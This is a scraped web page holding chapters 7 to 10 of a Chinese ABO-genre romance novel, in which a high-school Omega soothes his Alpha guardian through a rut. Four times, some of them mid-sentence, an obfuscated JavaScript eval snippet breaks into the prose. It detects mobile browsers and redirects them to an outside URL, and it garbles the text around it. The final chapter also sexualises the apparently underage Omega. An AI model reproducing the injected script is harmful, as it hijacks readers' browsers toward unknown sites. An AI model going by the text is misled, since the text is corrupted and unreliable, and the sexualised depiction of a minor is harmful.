《论如何制服易感期的Alpha》 7. 易感 柯染的怀抱总是能带来安全感,陆一宁并未察觉有什么不妥,甚至在柯染的信息素外溢时他都没感到不对,只以为是离腺体太近的缘故。 直到柯染一把将他推开,他才意识到这屋里已经被浓郁的檀香占满了。 柯染脸上遍布红潮,额头冒出一层层的虚汗,信息素正在肆无忌惮的释放。 平时陆一宁总觉得闻不够的味道,这会儿却觉得有些窒息,伴随着信息素覆盖的范围越来越广,陆一宁的身体也开始发软。 好在柯染理智尚在,他踉跄着跑到门口,果断开门离开:“我易感期提前了,这几天离我远点。” 正要上楼给他们送水果的张叔看到这一幕,立刻大步跑过来,先是给柯染开门将人推回房间,又叫楼下的王姨帮忙把陆一宁带到偏僻的客房,然后他给陆一宁的房间通风换气,喷上信息素稀释剂,等一切忙完已经过去半个多小时了。 柯染的房间一直没有动静,他有点不放心,站在门口敲了两下门,好半天才在里面听到回应:“我没事,刚打了抑制剂,叫医生去看看小宁,别被我诱导发热。” 隔着门板都能听出柯染的嗓子哑得不像话,似乎在压抑着极大的痛苦,张叔犹豫几秒,还是问道:“大少爷,您真的没事吗?不如让我进去看看您?” 张叔和王姨都是Beta,不受信息素干扰,所以才敢肆意接近柯染和陆一宁。 “我没事,睡一觉就好了,不用管我,这几天除了你任何人都不许接近我的房间,尤其是小宁,就算他求你开门也不许开。” “这……小少爷犟起来,只怕没人能劝动啊。”张叔头疼道。 “他要是不听,你就告诉他,不听话后果自负。” 柯染说完话便再没了动静,任凭张叔如何敲门都得不到回应,无奈之下他只好先去看陆一宁情况如何。 陆一宁被王姨扶到客房后呼吸几口新鲜空气就缓过来了,除了分化那次,他从未在柯染身上闻到过如此浓烈的檀香,平日里柯染克制压抑,除非他要求,否则很少主动释放信息素,易感期更是提前几天就避开他,从没出过差错。 这是陆一宁头一次体会到Alpha易感期的可怕,猛烈的信息素诱得他差点也失控,他不敢想象,若是刚才他被诱导发热,青竹与檀香交融,柯染会不会失去理智将他完全标记。 真是,想想就令人兴奋。 陆一宁抬手按上腺体,那里微微鼓起,正在逐渐发烫,是假性发热的征兆,如果他不处理,随着时间延长,假性发热就会演变为真性发热。 如果他在发热期顶着一身信息素去找柯染,不知道柯染还会不会像从前那样清醒克制,给个临时标记也好啊,陆一宁暗戳戳想。 不过……愿望只能是愿望,因为张叔带着家庭医生进来了。 “小少爷,大少爷让我带医生来给您检查一下身体。” “柯染怎么样,医生有去看过他吗?”陆一宁从床上坐起来,焦急问道。 “大少爷说他没事,小少爷放心。”张叔把柯染的话转达了一遍,见陆一宁果然不像听劝的模样,他又把柯染最后一句话说了出来。 “我只是想看看他也不行吗。”陆一宁蔫巴巴的瘫倒在床上,表情要多失落有多失落。 “大少爷是为了您好,小少爷还是别惹大少爷生气了。”王姨见陆一宁神色不好,不由劝道。 陆一宁躺平不想说话,任由医生给他检查,半晌后,医生摘下听诊器:“目前正处于假性发热,情况不严重,受到的信息素影响较小,吃几片药就行了,早点休息,不会影响明天正常上课。” 陆一宁有点不甘心,怀揣着一丝希望问:“何阿姨,我不想吃药,如果不吃,后果会很严重吗?” 何医生也是看着柯染和陆一宁长大的人,一听他的话就知道他在打什么主意了,从药箱中拿出一盒药交给张叔,何医生微笑回答:“无非是发热期提前,但我想,大少爷生气的后果会比发热期提前更严重,你觉得呢,小少爷?” 陆一宁:“……” “小少爷就乖乖吃药吧,大少爷易感期过去,我和张叔会在大少爷面前表扬您,让大少爷给您奖励的。”王姨给张叔使了个眼色,苦口婆心规劝的同时不忘施以诱惑。 “啊对对对,小少爷听话,大少爷好了一定有奖励。”张叔附和着道。 陆一宁看着面前哄小孩似的三个人,还能说什么呢,只能乖乖听从呗,况且他的确不敢挑战柯染生气的后果。 监督着陆一宁吃了药,王姨留下照顾他,张叔与何医生下楼,路过柯染的房间时,何医生忽然感受到一股强劲霸道的信息素朝他袭击而来,Alpha的本能使她迅速释放信息素与之抵抗,然而柯染太过强势,不过半分钟便将她压制得再也不能动弹。 张叔见状急忙扛起瘫软在地的她往楼下房间跑,边跑还边担心:“我的天,何医生你可千万不能有事,这么晚了再请一个医生上门很麻烦的。” 何医生咬牙切齿:“你不说话没人把你当哑巴!” 回到房间后张叔按照她的指示给她喂了两片药,又四处喷洒信息素稀释剂,过了好一会儿何医生才恢复过来。 “怎么回事,大少爷怎么会突然攻击你?” “应该是刚才给小少爷检查时,不慎染上了他的信息素,大少爷神智不清楚,把我当成情敌了。”何医生叹气道。 张叔:“……看不出大少爷占有欲这么强,那小少爷还总说大少爷对他没感觉。” “呵。”何医生靠在床头点了支薄荷味儿的细烟,冷笑道:“Alpha都是衣冠禽兽,越是温柔克制的Alpha,占有欲越强,也越疯狂。” 张叔闻言默默在心里给高考完的陆一宁做了祈祷。 柯染这次易感期不正常,照例何医生应该去看看的,奈何她现在动一下都费劲,只能拖到明天。 张叔在屋里待了一会儿,确认何医生不会因为身体状况而罢工后才离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191147|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回屋休息前他特地去柯染门前守了一会儿,果不其然,一个鬼鬼祟祟的身影从远处走来。 “小少爷。” 张叔的突然开口把陆一宁吓了一跳,他拍拍胸口心有余悸道:“张叔,你不睡觉在柯染门口干嘛?” 张叔把问题抛给他:“这个问题应该问小少爷吧?” 陆一宁讪笑着解释:“我就是不放心想来看看,看完我就走。” 张叔张张口,想要说什么,还没等出声,房间里的柯染开口了:“张叔,带他离开,这几天让他住一楼,不许上楼,还有,他的伤没好,忌口不能停,被我发现任何人偷偷帮他,都别怪我不客气。” “请吧,小少爷。”张叔做出邀请的手势。 陆一宁贪婪的吸取着空气中的檀香,步子迈得十分缓慢。 房间里的柯染耳朵动了动,在彻底听不到陆一宁的脚步声后,他终于敢完全释放自己,浓郁的檀香再不加掩饰,很快便铺满了整个二楼, 尤其是对面陆一宁的房间,几乎全被他霸占。 淡淡的青竹香气带给他少许安慰,但这远远不够,他想要更多。比如,在陆一宁的腺体上印下一个标记,让所有人都知道他是自己的。 不,不能这样,柯染在心里道,陆一宁还小,不能趁人之危,万一把人推离自己就不好了。 然而越是这样想,陆一宁光滑白皙的腺体就越是在眼前晃,柯染的喉结滚了滚,犬牙无意识的交错摩擦,他抬起胳膊遮住眼睛,仿佛这样就能赶走眼前的画面。 信息素愈发躁动,柯染感到意志力在逐渐消退,再这样下去,整个别墅都不会幸免于难。 他咬咬牙,趁着神智还有最后一丝清明,去床头的抽屉里拿了一支强效抑制剂,然后毫不犹豫的扎了下去。 这是他第一次使用强效抑制剂,何医生说会有副作用,在易感期结束后Alpha会出现头晕恶心等症状,至于会持续多久,因人而异,Alpha等级越高,副作用也就越大。 陆一宁在楼下的房间里翻来覆去睡不着,不知道是不是错觉,他总感觉鼻尖有缕檀香在环绕,像是柯染在用信息素窥视他一样,这种感觉让他异常愉快,然而还没高兴几分钟,那缕檀香竟然消散了。 陆一宁不信邪的坐起来,用力闻了闻,什么都没有,他赤着脚跑出门,刚要偷摸上楼就被人拦住,是专门守在这里的保镖:“小少爷,你不能上楼。” 陆一宁急得直跺脚:“柯染的信息素在变淡,你们没感受到吗,我怀疑他出事了!” 保镖铁面无私:“我会去叫何医生,小少爷应该穿好鞋再出门。” 拗不过的陆一宁只能回房间穿鞋,再想出门时却看到手机亮了,是柯染的消息,简洁明了:我没事,你睡觉。 “……”陆一宁咬咬唇,抉择再三,还是选择了听话。 因为强效抑制剂而清醒了几分钟的柯染,强撑着发完消息后终于筋疲力尽,意识陷入了深深的黑暗中。 8. 检查 柯染一觉醒来已是天光大亮,屋里到处弥漫着檀香的气息,他翻翻身,发现力气恢复不少,便下地倒了杯水想要润润喉,然而水还没送进嘴里,那股不受控的感觉就又来了。 信息素在房间里恣意肆虐,似乎想要摧毁一切可见的东西,他扶住桌角晃了晃脑袋,用力驱赶心中找到陆一宁且标记的想法。 后颈的腺体像是针扎一样疼痛,不断摧残着柯染的理智,出门还是不出门仿佛是一个难解的命题,让他暴躁得来回踱步。 终于,“啪”的一声,玻璃杯被暴力捏碎,细碎的玻璃碎片掉落在地,鲜血则顺着掌心一点点滴在透明的玻璃上,如同一朵朵绚烂盛开的彼岸花。 刹那的疼痛让柯染的神智恢复些许,但不过片刻就又被信息素主导,他意识到再这样下去一定会做出伤害陆一宁的事,趁着脑中的那根弦还没彻底崩裂,柯染艰难的挪到床边打开抽屉,给自己注射了一支抑制剂。 可信息素暴动不但没被抑制剂压制下去,反而越来越猖狂,心里的阴暗面在此刻无限放大,脑海中有无数个声音在催促—— 去,去找陆一宁,去标记他,让他完全属于你…… 你不想完全标记他吗,你不想让他浑身都染上你的气息吗…… 你不想从里到外将他完全掌控吗,你不想让他全身上下都打上你的烙印吗…… 不,不应该这样,至少不应该现在这样,柯染使劲咬了咬下唇,又从抽屉里拿出一支强效抑制剂,闭着眼扎了下去。 陆一宁夜里辗转反侧一直睡不安稳,因为惦记着柯染的状况,早上天刚亮就睁开了眼,蹑手蹑脚跑出房间想要悄悄上楼,果不其然又被人拦住。 陆一宁嘴皮子都快磨破了也没换来保镖大哥一丝怜悯,实在没办法的他只能打道回府,准备从窗户爬上二楼。 可这个想法很快就破灭了,因为窗外不知道什么时候围满了栏杆,他试了一下,除非他会铁砂掌,否则别想打这扇窗户的主意。 这也不行,那也不行,郁闷至极的陆一宁躺在床上思考对策,不知不觉间,他又嗅到了熟悉的檀香味儿,丝丝缕缕的缠绕在他身边。 陆一宁精神一振,尝试着释放信息素与之交缠。 意料之中,空气中的檀香变得浓烈起来,不过比起在柯染身边闻到的,还是淡了许多。 青竹与檀香在房间里互相纠缠,陆一宁闭上眼睛放松精神,试图让信息素顺着窗户的缝隙攀上二楼,抵达柯染的房间。 昏睡中的柯染感受到空气里忽然出现一股不属于自己的气息,绵软微苦,又带着不易察觉的清甜,是他渴求了很久的青竹。 压抑许久的信息素再次兴奋起来,像捕捉猎物般,将这缕清甜牢牢困住,铺天盖地的檀香急躁但细心的布置了一张紧密结实的网,当稚嫩的青竹意识到不对妄图挣扎时,得到的却只有檀香剧烈的爱抚。 ———— 陆一宁上学前仍旧不放心,拉着张叔千叮咛万嘱咐,如果柯染有什么问题一定要及时联系他,千万不能怕麻烦就不告诉他,万一柯染需要他的信息素安抚,等他放学估计人都凉了。 “小少爷放心,大少爷不会有事的,何医生的医术您还不放心吗。”张叔把装水果的饭盒放进他书包,亲自把陆一宁送到门口,让保镖刘哥送他上学。 陆一宁看着刘哥人高马大的身影,抽抽嘴角上了车,他觉得让刘哥这种一拳能打死牛的Alpha做送他上学的工作实在是大材小用,奈何柯染在这件事上油盐不进,陆一宁也只能美滋滋的听从了。 进入班级,赵子时一眼就注意到了陆一宁的黑眼圈,他转转眼珠子,调侃道:“你昨晚干什么去了,一脸没睡好的样子,不会是颠鸾倒凤不知天地为何物去了吧?” 陆一宁:“……你哥知道你不学习反而熬夜看《甄嬛传》吗?” 赵子时:“你怎么知道不是我哥陪我看的呢?” 学委适时插入对话:“两位,别看剧了,看看排行榜吧,根号三早上刚贴到门上。” 陆一宁纳闷:“我刚进来怎么没看到。” 赵子时:“你那俩眼睛就是出气儿的。” 陆一宁不服:“你看见了??” 赵子时理不直但气壮:“这不等你一起看吗?” 陆一宁无声的翻了个白眼,看完成绩后总算明白为什么赵子时的同桌今天异常沉默,因为理综考砸了。但他也没好哪儿去,理综比摸底考低了五分,唯一值得欣慰的就是数学如愿满分了。 再看班级排名,和上次一样,陆一宁撇下嘴来,早知道就不在柯染面前立flag了。 想到柯染,陆一宁又担心起来,趁上课铃没响,他给张叔发了条消息,不知道是不是在忙,直到上课张叔都没回他。 柯家别墅,何医生给自己打了针抑制剂,又戴上口罩,贴上阻隔贴,往身上喷了很多信息素稀释剂,力求伪装成一个Beta,才敢和张叔一起走近柯染的房间。 房门刚开一条缝,何医生就被呛得连连咳嗽,她站在门口抱怨道:“我在寺庙都没闻到过这么重的檀香,他是要熏死谁吗?” 张叔从后面把她推进房间,随后跟进去关上门,焦急道:“少说些废话吧,快看看大少爷怎么样,可别真出什么事。” 此时柯染尚在昏睡,房间里一片狼藉,破碎的玻璃杯与淋漓的鲜血组成一副惨烈的画面,紧闭双眼躺在房间正中大床上的柯染仿佛童话故事中的睡美人,只等一个命中注定的王子来将他吻醒。 可惜,他的王子正在与班主任四处飞溅的唾沫做抵抗,暂时无暇来吻他。 张叔收拾垃圾,何医生处理伤势,酒精棉球擦在柯染手心的伤口上,带来轻微的刺痛,柯染眼皮略动了动,人没醒,信息素却开始狂躁起来。 首当其害的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191148|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是离他最近的何医生,何医生猝不及防被信息素袭击,手一抖差点把镊子插进柯染手心。 看到她汗流浃背的模样,张叔了然道:“大少爷的信息素又攻击你?” 何医生抹了把辛酸泪:“易感期的Alpha对闯入领地的同类会抱有极大的敌意,何况昨晚我身上还误染了小少爷的信息素,大少爷的信息素还记得情敌的气息呢。” 什么也感觉不到的张叔无比庆幸自己是个不用受信息素支配的Beta。 何医生给柯染打了支强力镇定剂,看到他挣动的眼皮再也没动静后才继续处理伤口。 包扎完手,何医生又拿出愈合喷雾,在柯染咬破的嘴唇上喷了几下,做完这些,她长舒口气,拿出了检查仪器。 半个小时后,何医生指挥张叔和另一个Beta保镖搬了台信息素监测仪进来。 由于易感期,柯染的信息素浓度已经超过了正常范围,所以需要随时监测以便何医生调整用药。 “大少爷的情况没想象中严重,之所以易感期提前是因为信息素被长期压抑,得不到良性释放,加之常年没有Omega安抚,压抑到极点后又受了点小刺激,信息素触底反弹,就这样了。”何医生摊摊手,颇为无奈道:“不用担心,他现在的状况是每个单身Alpha都会经历的,说白了,就是憋的。” “……”沉默片刻,张叔迟疑着开口:“大少爷好好的怎么会受到刺激?” 何医生耸耸肩:“我怎么知道,我猜你该去问小少爷。” 张叔:“……” 何医生:“大少爷打了两支强效抑制剂,等易感期过去,才是他遭罪的开始。” 她一边说话一边给柯染扎针,柯染腺体发炎引起高烧,她需要给他吊一瓶退烧药,还有一瓶压制作用比较缓和的抑制剂。 不到24小时柯染打了四支抑制剂,这对身体损害很大,但又不能让他的信息素再肆意妄为下去,所以只能用一些药性温和的药。 “等小少爷晚上回来,可以让他少量释放信息素对大少爷加以安慰,当然,要控制量,否则容易刺激过头,让信息素又一次失控。”退出房间后,何医生摘下口罩,如释重负一般说道,“希望小少爷以后不要作死了,他刺激大少爷,我都跟着遭罪。” 张叔自从知道柯染是憋出来的毛病后就一直没怎么说话,这会儿听何医生念完经,他好奇问道:“大少爷是被小少爷的信息素刺激的吗?” “不。”何医生伸出食指摇了摇,饶有兴味道:“我在大少爷的信息素中并没有检测出刺激性气体,说明使他应激的是其他原因,而这个原因只有大少爷自己知道,小少爷都未必清楚。” 张叔:“也就是说小少爷是无意识中刺激到的大少爷???” 何医生点头:“我都说了Alpha是衣冠禽兽,一个个表面装得淡定,实则骨子里都是疯批。” 9. 安抚 陆一宁记挂着柯染,晚自习没上就请了假回来,一进门就往二楼跑,保镖不在,拦住他的是张叔。 “小少爷,大少爷的情况已经稳定许多,您不用太过担忧,何医生说您可以少量释放信息素安抚大少爷,但尽量还是不要离得太近,以免重新刺激到他。” 陆一宁停下脚步,被他这样一说冷静了许多,也有心思问柯染的易感期为什么会提前了,上午忙完后张叔就给他回了消息,但说得不是很详尽,导致他一整天都心不在焉。 张叔略过何医生对Alpha的评价那段,简洁明了的把原因说了,陆一宁听完和他早上的表情简直如出一辙,都是不可置信的瞪圆眼睛:“我刺激的???” 张叔艰难点了点头,陆一宁则拧起眉回忆昨晚的事:“可我们俩什么都没做啊,他连个临时标记都不肯给我,看我跟看儿子似的,怎么可能被我刺激到。” 刚给柯染扎完针的何医生下楼听到这话,挑挑眉意味深长道:“未必需要你做什么才能造成刺激,没准你对他而言,本身就是催热剂。” 她的话说得不是很清楚,但陆一宁无暇顾及太多,他现在最关心的是怎么才能既安抚柯染又不把人刺激到。 “你去站在他的门口释放点信息素吧,千万别开门,屋里的信息素浓度会诱导你发热。”何医生道,“还有,你最好两个小时安抚他一次,信息素千万不能多,否则今天吃的药打的针都会前功尽弃。” “好,我一定好好控制。”陆一宁郑重点头,然后抬脚就要上楼,他迫不及待的想要感知柯染的状况了。 何医生说完就打算回房间,可想了想,又怕陆一宁会趁机进去讨个标记,于是不放心的叮嘱道:“只需轻轻安抚就好,千万不能做别的,会影响他身体。” 偷偷思索过要是柯染能给他一个永久标记就好了的的陆一宁闻言,立刻有些不自在的摸了摸鼻子,总感觉何医生把他看得很透彻。 张叔原本没多想,现在却忽然不放心起来,陆一宁看着身后跟他一起上楼的张叔颇为无奈:“张叔,我不会不顾柯染的身体状况乱来。” 张叔敷衍的找借口:“大少爷不让您上楼,咱们现在是违背他的命令,不得不谨慎点。” 陆一宁无话可说,和张叔还没走到门口就感到空气中的檀香气味粘稠了起来,他虽没释放信息素,但柯染无比熟悉他的气息,刚在门口站定,檀香就张牙舞爪的扑了过来。 陆一宁试探的放出一缕信息素与之勾缠,包裹着他的檀香瞬间兴奋,丝丝绕绕的缠着他的手指,又覆上他的后颈。 陆一宁撕掉阻隔贴,感觉到腺体传来的温润凉意,玩味的咬了咬唇,要是柯染真的能发疯把他永久标记就好了,那样他们就可以永远也不分开了。 可惜,柯染面对他总是温柔又克制,就连现在意识不清,信息素都舍不得伤害他。 陆一宁抱着胳膊倚在门上,闭眼缓缓释放信息素,感受到围绕在身边的檀香愈加欢快,他恶劣的想,什么时候柯染能对他发疯该多好,或者说,该怎样让柯染对他发疯呢? 在门前站了半个多小时,何医生全副武装的上楼提醒陆一宁该回去了,安抚时间太久也会对柯染不利,陆一宁一步三回头的离开,身后柯染的信息素比他还依依不舍,一直缠着他的腺体试图将他留下。 直到他走到楼梯口,那缕纠缠的檀香才像认命似的,放开了他的腺体。 陆一宁摸了摸后颈,除了些许发热,那里已经没有柯染来过的痕迹,他扬着的嘴角逐渐放下,心底生出不悦与烦躁。 强制调整好情绪,陆一宁拿出书包准备先写作业,虽然柯染现在管不了他,但也不能太放肆,尽管他更希望柯染能因为他不听话而狠狠惩罚他。 真是无比期待那个场面呢,陆一宁按着腺体有些疯狂的想。 楼上,何医生和张叔进入柯染的房间例行检查,信息素浓度有所下降,说明陆一宁的安抚有用,柯染虽然还没醒,但眉头已经舒展,不像上午那般紧绷。 张叔看何医生给柯染又挂了一瓶药,担忧道:“要不要输一些营养液啊,总不能让大少爷饿着吧?” 何医生:“这瓶之后输营养液,我在他的药物里加了镇定成分,会让他好好休息一宿的,他的信息素浓度起伏不定,即使有Omega安抚也很危险,所以需要用药物干预,如果明早情况稳定,不再发高烧,那就不用输这么多液了。” 柯染高烧主要是腺体发炎引起的,从早上到现在,何医生已经给他退三次烧了。 张叔:“大少爷这样不会把脑子烧坏吧?” 何医生:“……不会,都说了他现在经历的是每个单身Alpha都会经历的,没那么严重。” 张叔:“你也是单身,怎么没见你这样过?” 何医生白他一眼:“笨蛋Beta!” 张叔丈二和尚摸不着头脑,问她她又不说,最终只能带着疑惑下楼了。 陆一宁做完一张理综卷子正好两个小时,闹钟提示他该上楼去安抚柯染了,出门时王姨和周姨正往餐厅端菜,就算柯染不在,他们也严格按照指示不给陆一宁放一丁点辣椒。 陆一宁路过时望了一眼,这菜色和让狼吃草没什么区别。 他看向身后跟他一起上楼的张叔,问:“张叔,你说如果我吃辣被柯染发现,他会怎样惩罚我?除了加试卷。” 张叔想不出来,但还是尽职尽责的提醒:“小少爷还是别作死了。” “哎。”陆一宁长长叹气,有些惋惜。 门外的檀香在陆一宁还没靠近时就围了过来,他伸手将其中一缕绕在手腕,和张叔说:“要是他能像他的信息素一样渴求我,喜欢我该多好。” 若是从前,张叔可能还会鼓励陆一宁,给他出主意让他争取早日把柯染拿下。可现在,他压根儿不敢苟同陆一宁的话,并且在心里悄悄为以后的他祈祷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191149|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆一宁的信息素十分有用,安抚三次后柯染的信息素浓度有了显著下降,腺体发炎的症状也减轻许多,何医生检查后对陆一宁竖起大拇指:“你就是他的灵丹妙药。” 陆一宁歘空提要求:“那我晚上可以进入他的房间,近距离给他治疗吗?” 何医生曲起手指在他脑门敲了敲,毫不留情的拒绝:“别做梦了,小少爷,除非你想让大少爷病情加剧。” “好吧。”陆一宁沮丧的捂住头,“那晚上我还用两个小时来一次吗?” 在他期许的目光中,何医生又拒绝了他:“不用,现在药物就可以控制他的情况,不需要你辅助治疗了。” 陆一宁的表情彻底垮下来,仿佛错过了什么大奖似的,满脸的闷闷不乐。 何医生看得好笑,她像长辈一样,温和的告诉陆一宁:“对于Alpha这种生物,有时候甜头不能给太多,不然你会后悔的。” 陆一宁不服:“您也是Alpha,怎么能这么说Alpha。” 何医生靠在门边,振振有词:“就因为我是Alpha,所以我才知道Alpha骨子里有多疯。” 陆一宁:“那是别人,柯染是世界上最温柔的Alpha!他和别的Alpha不一样!” “……”何医生一脸的恨铁不成钢,“柯染怎么就教出你这么个恋爱脑!” 陆一宁反驳:“我不是恋爱脑!我没有和他谈恋爱!” 何医生:“……” 为什么当今医学这么发达,却仍然治不好恋爱脑? 陆一宁回房后始终不放心柯染,想着反正也没保镖守着了,不如回二楼的房间去睡,这样半夜随时都可以去看柯染。 然而张叔把他的心思摸得透透的,吃完饭他就搬着张椅子坐到了楼梯口,看到陆一宁时脸上立刻露出个“果然如此”的表情。 陆一宁:“……”他的司马昭之心,有那么路人皆知吗。 心虚的返回房间,他拿出手机给赵子时发微信:你觉得我是恋爱脑吗? 赵子时秒回:你终于意识到了? 陆一宁:为什么你们都这样说? 赵子时:全世界都知道你是恋爱脑,只有你自己不知道。 陆一宁恼羞成怒:算了,我和兄控没什么话可说。 赵子时气急败坏:我不是兄控!!! 陆一宁:知道了,你是超级兄控。 赵子时:那你就是超级恋爱脑! 陆一宁:彼此彼此。 和赵子时互相伤害几句后,陆一宁的心情好了很多,拿出柯染给他制定的学习计划,陆一宁拿出单词册子,打算超额完成一些明天的规划。 这样等柯染易感期过完,既能有对他排名下降的惩罚,又能有他主动学习的奖励。 陆一宁垂下的眼眸中闪过一抹光芒,什么时候柯染才能不用试卷惩罚他呢,他真的很想,很想,换一种惩罚呢。 10. 睡觉 经过一夜的深度睡眠,柯染的状况好转了许多,闻到空气中似有若无的青竹味儿,他有些头疼,陆一宁不听话跑到房间来了?也不知道自己冲动之下有没有做什么。 他现在头痛欲裂,对于昨天的事只能回忆到想下地喝水结果失控,剩下的就不记得了,连手为什么会受伤都不清楚。 难道是他想强行标记陆一宁,被陆一宁打伤的?? 何医生和张叔进来时正好看到他蹙眉思考的一幕,她走过去把柯染手上的针拔掉,又看一眼信息素监测仪,柯染的信息素浓度已经恢复正常了。 这场易感期来势汹汹,但去得很快,如果没有陆一宁安抚,恐怕现在柯染还稳定不下来。 “张叔,小宁来过?我闻到他信息素的味道了,他没被我诱导发热吧?”柯染揉揉额头,从床上坐起来,问出最关心的问题。 “没有,大少爷放心。”张叔把昨天发生的事大致说了一遍,包括他怎么受的伤,还有陆一宁是如何安抚的他。 听到手是被碎玻璃划伤的,柯染明显松了口气,只要不是伤害了陆一宁就好。 何医生给他重新检查身体,片刻后,她道:“今天再输两次信息素稳定剂就行了,这几天尽量卧床休养,不要剧烈运动,也不要受到刺激。” “这次易感期时间这么短?”柯染不解,“还有,我没脆弱到易感期结束不能下床的地步吧?” 何医生正在给他受伤的手换药,闻言抬头看了他一眼,似笑非笑道:“你在24小时内打了四支抑制剂,其中两支还是强效,未来几天不卧床休息你会比发热期的Omega还脆弱。” 柯染:“……” 他抿抿唇,问起这次易感期提前的原因,这下何医生更想笑了。 简单解释一遍后,何医生认真规劝:“小少爷对你的心思你比任何人都清楚,以后别忍着了,憋出毛病来小少爷比你自己还难过。” “是啊是啊。”张叔在旁附和。 柯染只感觉头更疼了。 他总觉得陆一宁还小,对他依赖大于喜爱,若是过早和人发生什么,将来陆一宁后悔怎么办。 万一陆一宁以后遇到更喜欢的人呢,信息素匹配度高有什么用,人类又不是完全靠信息素支配的动物,若有一天陆一宁想要解除婚约,说不定会因为他过早的标记而讨厌他。 与其闹得难堪,不如再等等,等陆一宁再长大些,能为自己的行为负责了,他们再讨论恋爱的事。 思及此,柯染打起精神道:“我手机呢,我看小宁班主任有没有联系我。” “……”张叔:“大少爷还是休息吧,我怕您看了小少爷的成绩更头疼。” 柯染:“……”还没看就开始疼了。 从房间出去,何医生叮嘱站在门口眼巴巴想要进来的陆一宁:“今晚没什么事你们就可以见面了,但是不要刺激他,你尽量注意点,尤其是信息素,你们匹配度过高,很容易出事。” 这个消息让陆一宁一整天都很兴奋,他已经超过24小时没见到柯染了,四舍五入就是三年半,这让他怎么能忍。 晚自习又请了假,陆一宁急匆匆从学校赶回家,一进门就问何医生能不能上楼,得到肯定答案后噔噔噔就跑到了柯染房间。 推开门进去,空气中的檀香淡到几不可闻,陆一宁皱了皱眉,不太满意,还是昨天那样浓郁的檀香更让人舒心。 他走近些,看到柯染正闭着眼熟睡,心里庆幸刚才没敲门,否则一定会把人吵醒。 视线扫到柯染包着绷带露在外面的手,陆一宁眉头皱得更深,张叔与何医生怎么没说他手受伤的事?也不知道严不严重,陆一宁弯下腰仔细观察了一番,什么也没看出来。 柯染睡着,他也不好打扰,坐在旁边静静看了一会儿后,陆一宁流着眼泪打了个哈欠。 这两晚因为担心都没怎么睡好,此刻看到柯染安好,他的睡意就被激发了出来。 思索三秒,陆一宁开始脱衣服,全身脱得只剩一件时,他小心翼翼爬上了柯染的床,避开柯染受伤的手,他轻轻挪动了一下柯染另一只胳膊,随后躺了上去。 枕在柯染的臂弯里,陆一宁双手搂上他的脖子,正要猛吸一口檀香时,本该睡着的人忽然开口了:“去换上睡衣。” 柯染眼睛都没睁,陆一宁却吓得一动不敢动,半分钟后他结结巴巴道:“你、你没、没睡着啊……” 柯染捂着眼睛坐起来,用被子把陆一宁裹好,无奈说道:“本来睡着了,但你又掀被子又抬我胳膊的,再不醒我就不是睡着,是昏迷了。” 陆一宁心虚得低下头,心里不住后悔,早知道在他醒前偷亲一下好了。 柯染捏捏他的脸,将他的表情尽收眼底。 “又不困了?”看他没有动作,柯染出声催促。 陆一宁把被子掀到一边,飞快的跑到衣柜里找了件柯染的睡衣套上,然后又以迅雷不及掩耳之势爬上了床。 柯染简直被他的一系列动作气笑了,“我是让你穿你自己的睡衣。” 陆一宁故意晃悠了两下光溜溜的双腿,有理有据的辩驳:“我回房间还要重新穿衣服,再说要是我回去了,你不让我进来了怎么办?” 柯染没等说话,面前的人就朝他张开了双腿,他的睡衣陆一宁穿着很大,像套了一条睡裙,稍微不注意底下的风光便会显露,何况还是刻意的。 陆一宁敏锐的察觉到柯染的眼神暗了暗,他略微得意的把腿并拢,将被子扯到身上,无辜的问:“可以睡了吗?” 柯染试图和他商量:“你回自己房间好不好?” 陆一宁一脸的大义凛然:“你以为我是为了占你便宜吗?你是Alpha,我是Omega,要吃亏也是我吃亏,我之所以留在你房间,是因为怕你一个人出什么事,我是为了照顾你才留下的,平时我不管生病还是受伤,你都陪着我,现在轮到你不舒服了,我怎么能一走了之呢,做人要知恩图报……” “闭嘴,睡觉。”眼看陆一宁要长篇大论,柯染赶紧打断演讲,再说下去他就成了蛮不讲理不识好歹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191150|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。 